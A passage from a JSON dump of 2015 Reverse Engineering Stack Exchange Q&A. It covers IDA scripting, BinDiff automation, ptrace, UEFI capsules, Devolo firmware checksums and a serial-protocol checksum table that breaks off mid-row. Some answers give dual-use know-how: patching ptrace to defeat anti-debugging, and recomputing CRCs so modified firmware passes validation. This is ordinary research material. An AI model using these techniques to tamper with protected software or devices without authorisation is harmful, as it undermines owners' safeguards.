        "Answer": "<p>Note: You'll probably get a better answer on stackoverflow, as your question is more about creating software than about reversing it.</p>\n\n<p>First, you'll want to split your text file into blocks. You can do that looking for the <code>============= S U B R O U T I N E ============</code> comments that IDA emits, or checking the <code>sub_XXXX proc [near|far]</code>  and <code>sub_XXXX endp</code> markers.</p>\n\n<p>Then, to find your connections, look for the <code>call</code> statements in each of these procedures.</p>\n\n<p>Last, you need to layout the boxes and draw connections. You could use <a href=\"http://en.wikipedia.org/wiki/Graphviz\" rel=\"nofollow\">Graphviz</a> to do that (you need to write a definition file in a syntax they call \"dot language\"), or check the Wikipedia <a href=\"http://en.wikipedia.org/wiki/Graph_drawing\" rel=\"nofollow\">Graph drawing</a> page, which has explanations of the algorithms used, as well as links to various other software packages which might fit your need better.</p>\n"
    },
    {
        "Id": "8488",
        "CreationDate": "2015-03-18T08:55:18.717",
        "Body": "<p>As a beginner I'm trying to disassemble a file with IDA Pro 6.5. \nI know that the image base can be find in IDA Pro manu Edit -> Segment -> Rebase program.</p>\n\n<p>Now, I want to get the image base of current setting through IDC or IDAPython. Are there anyone to tell me how to write script? </p>\n\n<p>Thanks in advance.</p>\n",
        "Title": "How to get imge base of current setting through script in IDA pro\uff1f",
        "Tags": "|ida|idapython|",
        "Answer": "<p>idc unattended </p>\n\n<pre><code>F:\\IDA_FRE_5&gt;del outtext.txt &amp; idag.exe -A -S.\\segbase.idc c:\\WINDOWS\\system32\\c\nalc.idb &amp; sleep 5 &amp; type outtext.txt\nSegment Base is 1001000\n\nF:\\IDA_FRE_5&gt;type segbase.idc\n#include &lt;idc.idc&gt;\nstatic main ()\n{\nauto fpo,fullstr,segbase;\n        Batch(1);\n        segbase = SegStart(MinEA());\n        Message(\"base is %x\\n\",segbase);\n        fpo = fopen(\"outtext.txt\",\"wb\");\n        fullstr = form(\"Segment Base is %x\\n\",segbase);\n        writestr(fpo,fullstr);\n        fclose(fpo);\n        Exit(0);\n\n}\n\nF:\\IDA_FRE_5&gt;\n</code></pre>\n"
    },
    {
        "Id": "8493",
        "CreationDate": "2015-03-18T15:52:56.287",
        "Body": "<p>Last night I was playing Monopoly Zapped with the kids and I because quite intrigued as to how it worked. Basically, you interact with a tablet (or phone) whenever you want to do something... buy property, get out of jail, etc. </p>\n\n<p>The weird thing is it all works just by touching the card to the screen (not the camera and there is no chip in the card) and the device does all the work... it even knows if a player is using the wrong card.</p>\n\n<p>I've done a lot of searching on the Internet and cannot find ANYTHING to describe how this works. The only think I can think is there is some sort of \"electrified\" ink that is reacting with the digitizer on the screen. </p>\n\n<p>Does anyone have any other ideas?</p>\n\n<p>Thanks.</p>\n",
        "Title": "Special ink for iPhone (or other mobile) screen for interaction",
        "Tags": "|android|ios|",
        "Answer": "<p>According to the <a href=\"http://thegameagency.com/index.php/portfolio-posts/monopoly-zapped_draft/\" rel=\"nofollow noreferrer\">app developer's website</a>, the cards use <a href=\"http://en.wikipedia.org/wiki/Conductive_ink\" rel=\"nofollow noreferrer\">conductive ink</a> which can interact with the mobile device's capacitive screen.</p>\n\n<p><img src=\"https://i.stack.imgur.com/BlIbJ.jpg\" alt=\"Monopoly Zapped\"></p>\n"
    },
    {
        "Id": "8495",
        "CreationDate": "2015-03-19T02:30:07.720",
        "Body": "<p>I am trying to evaluate a very large amount of binaries (thousands) using <code>BinDiff</code>, and currently I only need some instruction level statistics from  BinDiff, which can be acquired from its dumped <code>sqlite</code> file easily. </p>\n\n<p>But my problem is that testing thousands of binaries using the GUI of IDA/BinDiff looks too time consuming..  </p>\n\n<p>I am wondering can I invoke plugins of IDA-Pro, in particular, <code>BinDiff</code>, from command line and dump its output out? Is it possible to do so?  </p>\n\n<p>I have some experience to use command line ida, but that only limits to execute some IDAPython scripts.  </p>\n\n<p>The test is on Windows 7, with IDA-Pro 6.6 and BinDiff 4.1. </p>\n",
        "Title": "Can I invoke IDA's plugin BinDiff from command line?",
        "Tags": "|ida|idapython|ida-plugin|tool-bindiff|",
        "Answer": "<p>You can try the following steps:</p>\n\n<ol>\n<li><p>convert binary file to IDB:</p>\n\n<pre><code>$IDA_PATH\\\\idaq.exe -B -p+ $FILE_TO_CONVERT\n</code></pre></li>\n<li><p>create <code>BinExport</code> from idb</p>\n\n<pre><code>$IDA_PATH\\\\idaq.exe -A -SC:\\\\bindiff_export.idc\n</code></pre>\n\n<p>where <code>bindiff_export.idc</code> looks like:</p>\n\n<pre><code>#include &lt;idc.idc&gt;\nstatic main()\n{\n    Batch(0);\n    Wait();\n    Exit( 1 - RunPlugin(\"zynamics_binexport_5\", 2 ));\n}\n</code></pre></li>\n</ol>\n\n<p>Should you also want to diff files, you can use BinDiff directly on <code>BinExports</code>:</p>\n\n<pre><code>$PATH_TO_BINDIFF\\\\bin\\\\BinDiff_Deluxe.exe -i $BIN_EXPORT_A -j $BIN_EXPORT_B -o $OUTPUT\n</code></pre>\n"
    },
    {
        "Id": "8512",
        "CreationDate": "2015-03-22T02:13:16.133",
        "Body": "<p>I'm trying understand how some parts of a closed source program distributed as a stripped binary implemented. When I run <code>ldd</code> on the program, it prints only 4-5 most basic C libraries as dynamic dependencies. (e.g. <code>libc</code>, <code>glib</code>, <code>gobject</code> etc.) However, when I run it in gdb or attach gdb to it and run <code>info sharedlibrary</code>, it prints a huge list of libraries. Indeed, that program clearly uses GTK for GUI, for example, but gtk libraries are missing in <code>ldd</code> output and shown in <code>info sharedlibrary</code> output.</p>\n\n<p>I was wondering does it work and how did they achieve this. Any ideas?</p>\n\n<p>Thanks.</p>\n",
        "Title": "ldd doesn't show dynamic libraries",
        "Tags": "|gdb|libraries|dynamic-linking|",
        "Answer": "<p>They can load their dynamic libraries dynamically by using <code>dlopen</code> and <code>dlsym</code> functions.\nHere is the <a href=\"http://linux.die.net/man/3/dlsym\" rel=\"nofollow\">man page of dlsym</a> and <a href=\"http://christopherpoole.github.io/dynamically-linking-shared-objects-in-c++/\" rel=\"nofollow\">usage example</a></p>\n"
    },
    {
        "Id": "8517",
        "CreationDate": "2015-03-22T10:26:16.650",
        "Body": "<p><img src=\"https://i.stack.imgur.com/Dtwx4.png\" alt=\"IDA Pro function with no ret as last instruction but a jump to a label\"></p>\n\n<p>Analyzing the ELF file /usr/bin/curl (Ubuntu 14.04, 64bit), I stumbled upon a strange function (see image). It is called regularly via <code>call sub_403D90</code> but does not end with a ret. Instead, it jumps to a label / another function (<code>sub_403C90</code>).\nThis is strange because there seems to be no return to <code>sub_403D90</code>, as from <code>sub_403C90</code> onwards in the control flow, there are no jumps but only rets.</p>\n\n<p>Can someone explain to me why this is? Does it makes sense?</p>\n",
        "Title": "Strange function in IDA Pro: Only one basic block ending with a jmp sub_xxxxxx (instead of a ret)",
        "Tags": "|ida|disassembly|idapython|compilers|functions|",
        "Answer": "<p>This is just a bit of optimization. A <code>call xxxx</code> followed by a <code>ret</code> can be optimized to a <code>jmp xxxx</code>.</p>\n"
    },
    {
        "Id": "8520",
        "CreationDate": "2015-03-22T15:26:35.430",
        "Body": "<p>I was reading <a href=\"http://blog.frizn.fr/hacklu-2013/reverse-400-elf\" rel=\"nofollow\">this CTF</a> write up and wanted to know more than the author cared to explain. </p>\n\n<blockquote>\n  <p>I actually just patched the PLT entries of getenv(), ptrace() and sleep(), as sleeps get pretty annoying during debug</p>\n</blockquote>\n\n<p>What I wanted to know is what's the best way of going about patching PLT or GOT entries directly into the binary? </p>\n",
        "Title": "Patching PLT entries",
        "Tags": "|elf|got|plt|",
        "Answer": "<p>You can do this pretty easily with Pwntools:</p>\n<pre><code>from pwn import *\n\nelf = ELF('./your-binary')\nelf.asm(elf.symbols.ptrace, 'xor eax, eax; ret')\nelf.save('./your-patched-binary')\n</code></pre>\n"
    },
    {
        "Id": "8521",
        "CreationDate": "2015-03-22T19:06:20.433",
        "Body": "<p>I am trying to do some reverse engineering to a Devolo dlan wifi 500 device (MIPS architecture). My objective is to put there some firmware modified by me.</p>\n<p>This is where I got so far:</p>\n<ol>\n<li>Downloaded a firmware update from <a href=\"http://update.devolo.com/linux2/apt/pool/main/d/devolo-firmware-dlan500-wifi/\" rel=\"nofollow noreferrer\">http://update.devolo.com/linux2/apt/pool/main/d/devolo-firmware-dlan500-wifi/</a></li>\n<li>Extracted firmware image from debian package</li>\n<li>Analyzed image with binwalk</li>\n<li>Extracted contents with firmware mod kit (present on google code).</li>\n<li>Modded image</li>\n<li>Rebuilded with fmk</li>\n<li>Used web interface of device to upload new firmware</li>\n</ol>\n<p>It failed on step 7. I get a message saying something like &quot;this file does not contain valid data&quot;. So, some sort of verification is performed by the device before installing updates.</p>\n<p>So I kept investigating. The devolo image contains a devolo header/footer, a uboot and a uimage. The header/footer must contain some sort of checksum. I tried picking the valid (unmodified) update and changed one bit on the padding, uploaded it to the device and got the same error message.</p>\n<p>If I knew where the checksum is or how is obtained, I could change it after rebuilding the image. However I found no documentation about the devolo formats. To try to find the sum I compared the hexadecimal of two devolo images: wifi and wireless(the wireless image is on the same site from where I downloaded the wifi image; could not post this link and the fmk link because I have less than 10 reputation :( ). The headers/footers are very similar in most fields, though I found no 32byte field to be a sum. Perhaps someone more experienced on reverse engineering could help me.</p>\n<p>I could try to brute force the sum. Since it is a sum, I could create a collision by adding bits to the padding areas. For this I have two ideas:</p>\n<ol>\n<li>Send through the network every combination possible;</li>\n<li>Use the downloaded image's libraries to test the sum locally;</li>\n</ol>\n<p>Option 1 would probably take a few years...</p>\n<p>For option 2, I tried using a qemu virtual machine and compile there, and cross compiling, with no results, due to the devolo libs using an old libc version (<a href=\"https://stackoverflow.com/questions/29153924/how-to-solve-c-conflicts-between-system-and-library-dependencies\">https://stackoverflow.com/questions/29153924/how-to-solve-c-conflicts-between-system-and-library-dependencies</a>).</p>\n<p>My last idea is to somehow emulate the downloaded firmware in my amd64 machine, to compile some code there that would use the devolo libs, thus circumventing the dependency problems.</p>\n<p>So, I would thank any tips/mistakes on my previous steps, and any pointers on how to run the downloaded image on my pc.</p>\n",
        "Title": "Reverse engineering Devolo firmware",
        "Tags": "|firmware|mips|",
        "Answer": "<p>Each section in the firmware file has a crc32 over its contents.</p>\n\n<p>See <a href=\"https://github.com/booto/develo_fw\" rel=\"nofollow\">this</a>.</p>\n\n<p>It should make option 1 more viable.</p>\n\n<p>More details:\nInside the squashfs image there's whole heap of busybox based tools and a handful of standalone programs. There's one (<em>/usr/sbin/chunk</em>) that looked likely to have logic concerning the traversal of the firmware files. It contains a number of the 32bit values that matched the values in the firmware file that look like magic/fourcc values. strings(1) output was also pretty encouraging.</p>\n"
    },
    {
        "Id": "8531",
        "CreationDate": "2015-03-23T15:59:15.793",
        "Body": "<p>The fact that GDB can attach to any process without having su rights is terrifying to me. For example, what prevents me from writing a malware/virus(/whatever the correct term is) that uses same system calls with GDB to attach to any processes, send interrupts, change instructions on the fly, add breakpoints to branching instructions to alter ZF etc.?</p>\n\n<p>You can clearly do lots of harmful things with this ability. For example, I'm doing some minor hacks using some GDB Python scripts and I can't see what's preventing me from writing some seriously dangerous/malicious stuff.</p>\n\n<p>So I have some number of questions related with how is this possible and how is this safe:</p>\n\n<p>(I'm assuming that it's the operating system who allows a process to somehow send interrupts to some other one, and access to it's address space and alter the memory. Please correct me if I'm wrong)</p>\n\n<p>1) What makes this safe? What prevents me from writing a program that alters behaviours of every single process running in a system?</p>\n\n<p>2) What system calls are involved? How does operating system give me access to address space of some other process, while not taking my own address space from me. (e.g. GDB has it's own address space, but it can also read attached process' address space)</p>\n\n<p>3) In my user-level program, is it possible to detect this kind of \"attaching\"? Like, can I print a message and terminate if another process is attached to my program? How do I detect this?</p>\n\n<p>(I'm using \"attaching\" as \"starting writing/reading my address space\")</p>\n\n<p>Thanks.</p>\n",
        "Title": "Why/how is GDB allowed to attach to a process and read/write to attached process' address space?",
        "Tags": "|gdb|operating-systems|process|",
        "Answer": "<p>2) The system call is <a href=\"http://en.wikipedia.org/wiki/Ptrace\" rel=\"noreferrer\"><code>ptrace</code></a>. That call has lots of functionality, including \"copy a section of the tracee's memory into a local buffer in my address space\" and the reverse \"copy my buffer to the tracee's memory\". These are quite similar to windows' <code>ReadProcessMemory</code>  and <code>WriteProcessMemory</code>. The tracing program needs to use these to access memory in the traced program.</p>\n\n<p>1) The fact that you can't, really, attach to processes that aren't yours, unless you have <code>root</code> access, or (on Linux), the <code>CAP_SYS_PTRACE</code> capability. In some newer Linuxes, you don't even have rights to <code>ptrace</code> all of your own processes, depending on the <code>yama</code> settings and whether the traced process is a (grand)child of the tracing process. The wikipedia page explains this in more detail.</p>\n\n<p>3) No, you can't. At least not reliably. Whichever trick you'd want to use could be intercepted by the tracer. Also, you generally don't want to do this, since you need <code>ptrace</code> to debug your program, and whoever has rights to <code>ptrace</code> you could screw you in various other ways as well. However, a process can't have more than one tracer attached at a time, so you could have a master process that spawns and <code>ptrace</code>s the worker, so noone else can attach to the worker to trace it. Of course, the worker would still need a way to check if it's parent is alive (compare <code>getppid()</code> with 1 for example) and that the tracer isn't intercepting your <code>getppid()</code> calls and patching them to return the old parent id.</p>\n"
    },
    {
        "Id": "8538",
        "CreationDate": "2015-03-23T20:53:13.537",
        "Body": "<p>I'm looking to identify code changes in the latest UEFI release for my motherboard, to verify whether the changes include mitigations for the <a href=\"http://en.wikipedia.org/wiki/Row_hammer\" rel=\"nofollow\">row hammer</a> vulnerability. I'm specifically looking at the last 3 releases (2401, 2304, 2201) of the Asus Maximus VII Hero board, which can be downloaded <a href=\"http://www.asus.com/uk/Motherboards/MAXIMUS_VII_HERO/HelpDesk_Download/\" rel=\"nofollow\">here</a>.</p>\n\n<p>The UEFI binaries are provided as CAP files, which I'm not used to seeing. Apparently these are \"UEFI Capsules\", which Intel has <a href=\"http://www.intel.com/content/www/us/en/architecture-and-technology/unified-extensible-firmware-interface/efi-capsule-specification.html\" rel=\"nofollow\">a specification</a> for, but I've tried both automatic analysis (with <a href=\"https://github.com/theopolis/uefi-firmware-parser\" rel=\"nofollow\">uefi-firmware-parser</a>) and some manual digging to no avail. Running binwalk across them results in the usual noise of supposed LZMA blobs, but even once I grep past those I just run into a couple of false positive detections for encrypted data.</p>\n\n<p>The actual data within alternates between repetitive, structured, and high-entropy (encrypted / compressed) blocks, but I can't find anything obvious. Running a bindiff across the different revisions shows me some majorly changed blocks, and some odd bytes here and there.</p>\n\n<p>IDA doesn't seem to recognise anything in there as being EFI code, so I'm now stumped.</p>\n\n<p>How can I get started with these CAP files? Is there any research out there that I should read? Are there any toolchains to work with them?</p>\n",
        "Title": "Reverse engineering UEFI CAP files",
        "Tags": "|firmware|static-analysis|",
        "Answer": "<p>Someone pointed me to <a href=\"https://github.com/LongSoft/UEFITool\" rel=\"nofollow\">UEFITool</a>, which does exactly what I wanted. There's also an extractor version which dumps out all the separate nested binary components to directories. From this I was able to go through and analyse individual modules in IDA (they're x86 PE files, so it's easy).</p>\n\n<p>I've not got quite as far as identifying whether the rowhammer mitigations are in place, but I'm writing some scripts to do bindiffs of each changed component, which should hopefully give me some idea of what I'm looking for.</p>\n"
    },
    {
        "Id": "8541",
        "CreationDate": "2015-03-24T11:23:56.920",
        "Body": "<p>I would like to control a lens with an Arduino board, but of course, I first have to find out how the protocol works. Using an oscilloscope I was able to find out that the protocol uses High and Low states (about 20ms long) to transfer information, but without even knowing where the ground is, that information is rather unreliable.\nSo what I know so far is this:</p>\n\n<p>There are 10 pins, two of which would have to be power and ground for the motors in the lens.\nThe communication is digital, but not necessarily serial (e.g. Camera sends High on Pin X and the shutter in  the lens opens and on the next High the shutter closes)\nMy guess is that the protocol is in fact serial as there seems to be a control mechanism in the lens checking the accuracy of the shutter speeds (for which it would need to know them; the shutter speed dial is on the camera)</p>\n\n<p>How would I find out the pinout of this connector?</p>\n\n<p>The lens is from the Rollei 6000 Series with the PQ shutter. By googling I could only find information about the communication with the filmback.</p>\n\n<p>Thank you for you answers.</p>\n",
        "Title": "Identifying the pinout of an unknown protocol (Rollei 6000 Camera-Lens communication)",
        "Tags": "|serial-communication|protocol|communication|",
        "Answer": "<p>First thing i'd use is a digital oscilloscope, possibly with an included logic analyzer. Something like <a href=\"http://www.linkinstruments.com/mso19.html\" rel=\"nofollow\">this</a> is affordable and allows you to monitor up to 8 channels at the same time. Being able to see the delta times between different lines changing High/Low might help you a lot. (I'm not affiliated with this specific company; their products seem fine from the web site description; you may or may not find a better product/better price elsewhere).</p>\n\n<p>Once you have reason to assume one of the lines uses serial communication, you might be interested in a <a href=\"http://en.wikipedia.org/wiki/Bus_Pirate\" rel=\"nofollow\">Bus Pirate</a> to investigate further. The Bus pirate also allows you to emulate serial transmission without having to program the arduino a lot; once you know how the protocol works, you can start implementing it (or use a pre-made library).</p>\n\n<p>Since you don't know which of the lines is GND, i'd connect ground to the ground pin of the camera's battery. That way, you know for sure it's not on a data line that might change its voltage, and once you've identified the lines that seem to be 'always high' or 'always low', you know which ones are (probably) the power supply.</p>\n\n<p>Depending on the physical layout of your hardware, it might be difficult to hook the logic analyzer/bus pirate to the pins while the lens is on the camera. What worked for me in such cases was making a paper template that had holes where the pins were supposed to be, and glue a bunch of thin aluminium foil stripes between two of these templates (of course the stripes need to be insulated from each other). If done with thin paper, you should be able to put it between the camera and the lens.</p>\n\n<p>Also, i suggest some kind of precise time source with the logic analyzer, and using a cheap webcam to make a movie when you experiment with camera settings and lens reactions. This will allow you to match individual movie frames with signal transitions later, so you have a much better reference between \"which switches did i press\", \"what did the camera/lens do\", and \"which signals appeared on the data lines\" than when you try to write things down while experimenting.</p>\n"
    },
    {
        "Id": "8557",
        "CreationDate": "2015-03-25T18:27:04.003",
        "Body": "<p>Perhaps I am misunderstanding how this works, but to my knowledge ELF binaries can either have NX protections for the stack, or not. What I am assuming is that there is a place in the binary that spells this out, but I'm not sure exactly where this information is stored. </p>\n\n<p>How do you figure out the page permissions for an ELF binary from a disassembly? </p>\n",
        "Title": "Where are page permissions stored in an ELF binary?",
        "Tags": "|disassembly|",
        "Answer": "<p>The ELF binaries have in them headers named \"program headers\". When the kernel loads up a binary into memory, it only cares about 3 types of headers. <code>PT_LOAD</code> indicating whether or not the content corresponding to the header needs to be loaded into memory, <code>PT_GNU_STACK</code> indicating whether or not the stack needs to be made executable and <code>PT_INTERP</code> for determining the interpreter used to execute the binary.</p>\n\n<p>So yes, the kernel sets the stack as non-executable or executable depending on whether or not a program header is present in the ELF. The ELF process can later use <code>mmap/mmap2/mprotect</code> libc/system calls to give executable privileges to specific pages in memory.</p>\n"
    },
    {
        "Id": "8561",
        "CreationDate": "2015-03-26T08:38:03.247",
        "Body": "<p>I am writing a program to control an old camera over serial.\nI have no access to the protocol or source code of the demonstration program that i have, but i can generate some correct checksums by monitoring the communications in wireshark.</p>\n\n<p>The length of the packets changes depending on what function i perform, and seems to sometimes change depending on the values of the contained data. (FF sometimes repeats in longer frames, although i cant be sure that these arent just errors)</p>\n\n<p>The last 2 bytes of data are the checksum i assume. Other parts are the message function and data. In the packet below, the 01 46 corresponds with the value 326 which the software reports.</p>\n\n<pre><code>10 02 41 02 20 01 46 10 03 cb a4\n</code></pre>\n\n<p>I personally cant see an obvious pattern to the checksum. The first byte seems to increment by 0x10 nicely with the data for a while, before jumping around then decrementing by 0x10, acting erratically.</p>\n\n<p>Does this seem familiar to anyone?\nHow can I go about determining the algorithm to generate the checksum on an arbitrary message?</p>\n\n<p>Ill attach lots of data for you to look at:</p>\n\n<pre>\n10 02 41 02 20 01 46 10 03 cb a4\n10 02 41 02 20 00 18 10 03 43 ae\n10 02 41 02 20 00 19 10 03 53 8f\n10 02 41 02 20 00 1a 10 03 63 ec\n10 02 41 02 20 00 1b 10 03 73 cd\n10 02 41 02 20 00 1c 10 03 03 2a\n10 02 41 02 20 00 1d 10 03 13 0b\n10 02 41 02 20 00 1e 10 03 23 68\n10 02 41 02 20 00 1f 10 03 33 49\n10 02 41 02 20 00 20 10 03 f4 f5\n10 02 41 02 20 00 21 10 03 e4 d4\n10 02 41 02 20 00 22 10 03 d4 b7\n10 02 41 02 20 00 23 10 03 c4 96\n10 02 41 02 20 00 24 10 03 b4 71\n10 02 41 02 20 00 25 10 03 a4 50\n10 02 41 02 20 00 26 10 03 94 33\n10 02 41 02 20 00 27 10 03 84 12\n10 02 41 02 20 00 28 10 03 75 fd\n10 02 41 02 20 00 29 10 03 65 dc\n10 02 41 02 20 00 2a 10 03 55 bf\n10 02 41 02 20 00 2b 10 03 45 9e\n10 02 41 02 20 00 2c 10 03 35 79\n10 02 41 02 20 00 2d 10 03 25 58\n10 02 41 02 20 00 2e 10 03 15 3b\n10 02 41 02 20 00 2f 10 03 05 1a\n10 02 41 02 20 00 30 10 03 e6 c4\n10 02 41 02 20 00 31 10 03 f6 e5\n10 02 41 02 20 00 32 10 03 c6 86\n10 02 41 02 20 00 33 10 03 d6 a7\n10 02 41 02 20 00 34 10 03 a6 40\n10 02 41 02 20 00 35 10 03 b6 61\n10 02 41 02 20 00 36 10 03 86 02\n10 02 41 02 20 00 37 10 03 96 23\n10 02 41 02 20 00 38 10 03 67 cc\n10 02 41 02 20 00 39 10 03 77 ed\n10 02 41 02 20 00 3a 10 03 47 8e\n10 02 41 02 20 00 3b 10 03 57 af\n10 02 41 02 20 00 3c 10 03 27 48\n10 02 41 02 20 00 3d 10 03 37 69\n10 02 41 02 20 00 3e 10 03 07 0a\n10 02 41 02 20 00 3f 10 03 17 2b\n10 02 41 02 20 00 40 10 03 98 53\n10 02 41 02 20 00 41 10 03 88 72\n10 02 41 02 20 00 42 10 03 b8 11\n10 02 41 02 20 00 43 10 03 a8 30\n10 02 41 02 20 00 44 10 03 d8 d7\n10 02 41 02 20 00 45 10 03 c8 f6\n10 02 41 02 20 00 46 10 03 f8 95\n10 02 41 02 20 00 47 10 03 e8 b4\n10 02 41 02 20 00 48 10 03 19 5b\n10 02 41 02 20 00 49 10 03 09 7a\n10 02 41 02 20 00 4a 10 03 39 19\n10 02 41 02 20 00 4b 10 03 29 38\n10 02 41 02 20 00 4c 10 03 59 df\n10 02 41 02 20 00 4d 10 03 49 fe\n10 02 41 02 20 00 4e 10 03 79 9d\n10 02 41 02 20 00 4f 10 03 69 bc\n10 02 41 02 20 00 50 10 03 8a 62\n10 02 41 02 20 00 51 10 03 9a 43\n10 02 41 02 20 00 52 10 03 aa 20\n10 02 41 02 20 00 53 10 03 ba 01\n10 02 41 02 20 00 54 10 03 ca e6\n10 02 41 02 20 00 55 10 03 da c7\n10 02 41 02 20 00 56 10 03 ea a4\n10 02 41 02 20 00 57 10 03 fa 85\n10 02 41 02 20 00 58 10 03 0b 6a\n10 02 41 02 20 00 59 10 03 1b 4b\n10 02 41 02 20 00 5a 10 03 2b 28\n10 02 41 02 20 00 5b 10 03 3b 09\n10 02 41 02 20 00 5c 10 03 4b ee\n10 02 41 02 20 00 5d 10 03 5b cf\n10 02 41 02 20 00 5e 10 03 6b ac\n10 02 41 02 20 00 5f 10 03 7b 8d\n10 02 41 02 20 00 60 10 03 bc 31\n10 02 41 02 20 00 61 10 03 ac 10\n10 02 41 02 20 00 62 10 03 9c 73\n10 02 41 02 20 00 63 10 03 8c 52\n10 02 41 02 20 00 64 10 03 fc b5\n10 02 41 02 20 00 65 10 03 ec 94\n10 02 41 02 20 00 66 10 03 dc f7\n10 02 41 02 20 00 67 10 03 cc d6\n10 02 41 02 20 00 68 10 03 3d 39\n10 02 41 02 20 00 69 10 03 2d 18\n10 02 41 02 20 00 6a 10 03 1d 7b\n10 02 41 02 20 00 6b 10 03 0d 5a\n10 02 41 02 20 00 6c 10 03 7d bd\n10 02 41 02 20 00 6d 10 03 6d 9c\n10 02 41 02 20 00 6e 10 03 5d ff ff\n10 02 41 02 20 00 6f 10 03 4d de\n10 02 41 02 20 00 70 10 03 ae 00\n10 02 41 02 20 00 71 10 03 be 21\n10 02 41 02 20 00 72 10 03 8e 42\n10 02 41 02 20 00 73 10 03 9e 63\n10 02 41 02 20 00 74 10 03 ee 84\n10 02 41 02 20 00 75 10 03 fe a5\n10 02 41 02 20 00 76 10 03 ce c6\n10 02 41 02 20 00 77 10 03 de e7\n10 02 41 02 20 00 78 10 03 2f 08\n10 02 41 02 20 00 79 10 03 3f 29\n10 02 41 02 20 00 7a 10 03 0f 4a\n10 02 41 02 20 00 7b 10 03 1f 6b\n10 02 41 02 20 00 7c 10 03 6f 8c\n10 02 41 02 20 00 7d 10 03 7f ad\n10 02 41 02 20 00 7e 10 03 4f ce\n10 02 41 02 20 00 7f 10 03 5f ef\n10 02 41 02 20 00 80 10 03 41 1f\n10 02 41 02 20 00 81 10 03 51 3e\n10 02 41 02 20 00 82 10 03 61 5d\n10 02 41 02 20 00 83 10 03 71 7c\n10 02 41 02 20 00 84 10 03 01 9b\n10 02 41 02 20 00 85 10 03 11 ba\n10 02 41 02 20 00 86 10 03 21 d9\n10 02 41 02 20 00 87 10 03 31 f8\n10 02 41 02 20 00 88 10 03 c0 17\n10 02 41 02 20 00 89 10 03 d0 36\n10 02 41 02 20 00 8a 10 03 e0 55\n10 02 41 02 20 00 8b 10 03 f0 74\n10 02 41 02 20 00 8c 10 03 80 93\n10 02 41 02 20 00 8d 10 03 90 b2\n10 02 41 02 20 00 8e 10 03 a0 d1\n10 02 41 02 20 00 8f 10 03 b0 f0\n10 02 41 02 20 00 90 10 03 53 2e\n10 02 41 02 20 00 91 10 03 43 0f\n10 02 41 02 20 00 92 10 03 73 6c\n10 02 41 02 20 00 93 10 03 63 4d\n10 02 41 02 20 00 94 10 03 13 aa\n10 02 41 02 20 00 95 10 03 03 8b\n10 02 41 02 20 00 97 10 03 23 c9\n10 02 41 02 20 00 98 10 03 d2 26\n10 02 41 02 20 00 99 10 03 c2 07\n10 02 41 02 20 00 9a 10 03 f2 64\n10 02 41 02 20 00 9b 10 03 e2 45\n10 02 41 02 20 00 9c 10 03 92 a2\n10 02 41 02 20 00 9d 10 03 82 83\n10 02 41 02 20 00 9e 10 03 b2 e0\n10 02 41 02 20 00 9f 10 03 a2 c1\n10 02 41 02 20 00 a0 10 03 65 7d\n10 02 41 02 20 00 a1 10 03 75 5c\n10 02 41 02 20 00 a2 10 03 45 3f\n10 02 41 02 20 00 a3 10 03 55 1e\n10 02 41 02 20 00 a4 10 03 25 f9\n10 02 41 02 20 00 a5 10 03 35 d8\n10 02 41 02 20 00 a6 10 03 05 bb\n10 02 41 02 20 00 a7 10 03 15 9a\n10 02 41 02 20 00 a8 10 03 e4 75\n10 02 41 02 20 00 a9 10 03 f4 54\n10 02 41 02 20 00 aa 10 03 c4 37\n10 02 41 02 20 00 ab 10 03 d4 16\n10 02 41 02 20 00 ac 10 03 a4 f1\n10 02 41 02 20 00 ad 10 03 b4 d0\n10 02 41 02 20 00 ae 10 03 84 b3\n10 02 41 02 20 00 af 10 03 94 92\n10 02 41 02 20 00 b0 10 03 77 4c\n10 02 41 02 20 00 b1 10 03 67 6d\n10 02 41 02 20 00 b2 10 03 57 0e\n10 02 41 02 20 00 b3 10 03 47 2f\n10 02 41 02 20 00 b4 10 03 37 c8\n10 02 41 02 20 00 b5 10 03 27 e9\n10 02 41 02 20 00 b6 10 03 17 8a\n10 02 41 02 20 00 b7 10 03 07 ab\n10 02 41 02 20 00 b8 10 03 f6 44\n10 02 41 02 20 00 b9 10 03 e6 65\n10 02 41 02 20 00 ba 10 03 d6 06\n10 02 41 02 20 00 bb 10 03 c6 27\n10 02 41 02 20 00 bc 10 03 b6 c0\n10 02 41 02 20 00 bd 10 03 a6 e1\n10 02 41 02 20 00 be 10 03 96 82\n10 02 41 02 20 00 bf 10 03 86 a3\n10 02 41 02 20 00 c0 10 03 09 db\n10 02 41 02 20 00 c1 10 03 19 fa\n10 02 41 02 20 00 c2 10 03 29 99\n10 02 41 02 20 00 c3 10 03 39 b8\n10 02 41 02 20 00 c4 10 03 49 5f\n10 02 41 02 20 00 c5 10 03 59 7e\n10 02 41 02 20 00 c6 10 03 69 1d\n10 02 41 02 20 00 c7 10 03 79 3c\n10 02 41 02 20 00 c8 10 03 88 d3\n10 02 41 02 20 00 c9 10 03 98 f2\n10 02 41 02 20 00 ca 10 03 a8 91\n10 02 41 02 20 00 cb 10 03 b8 b0\n10 02 41 02 20 00 cc 10 03 c8 57\n10 02 41 02 20 00 cd 10 03 d8 76\n10 02 41 02 20 00 ce 10 03 e8 15\n10 02 41 02 20 00 cf 10 03 f8 34\n10 02 41 02 20 00 d0 10 03 1b ea\n10 02 41 02 20 00 d1 10 03 0b cb\n10 02 41 02 20 00 d2 10 03 3b a8\n10 02 41 02 20 00 d3 10 03 2b 89\n10 02 41 02 20 00 d4 10 03 5b 6e\n10 02 41 02 20 00 d5 10 03 4b 4f\n10 02 41 02 20 00 d6 10 03 7b 2c\n10 02 41 02 20 00 d7 10 03 6b 0d\n10 02 41 02 20 00 d8 10 03 9a e2\n10 02 41 02 20 00 d9 10 03 8a c3\n10 02 41 02 20 00 da 10 03 ba a0\n10 02 41 02 20 00 db 10 03 aa 81\n10 02 41 02 20 00 dc 10 03 da 66\n10 02 41 02 20 00 dd 10 03 ca 47\n10 02 41 02 20 00 de 10 03 fa 24\n10 02 41 02 20 00 df 10 03 ea 05\n10 02 41 02 20 00 e0 10 03 2d b9\n10 02 41 02 20 00 e1 10 03 3d 98\n10 02 41 02 20 00 e2 10 03 0d fb\n10 02 41 02 20 00 e3 10 03 1d da\n10 02 41 02 20 00 e4 10 03 6d 3d\n10 02 41 02 20 00 e5 10 03 7d 1c\n10 02 41 02 20 00 e6 10 03 4d 7f\n10 02 41 02 20 00 e7 10 03 5d 5e\n10 02 41 02 20 00 e8 10 03 ac b1\n10 02 41 02 20 00 e9 10 03 bc 90\n10 02 41 02 20 00 ea 10 03 8c f3\n10 02 41 02 20 00 eb 10 03 9c 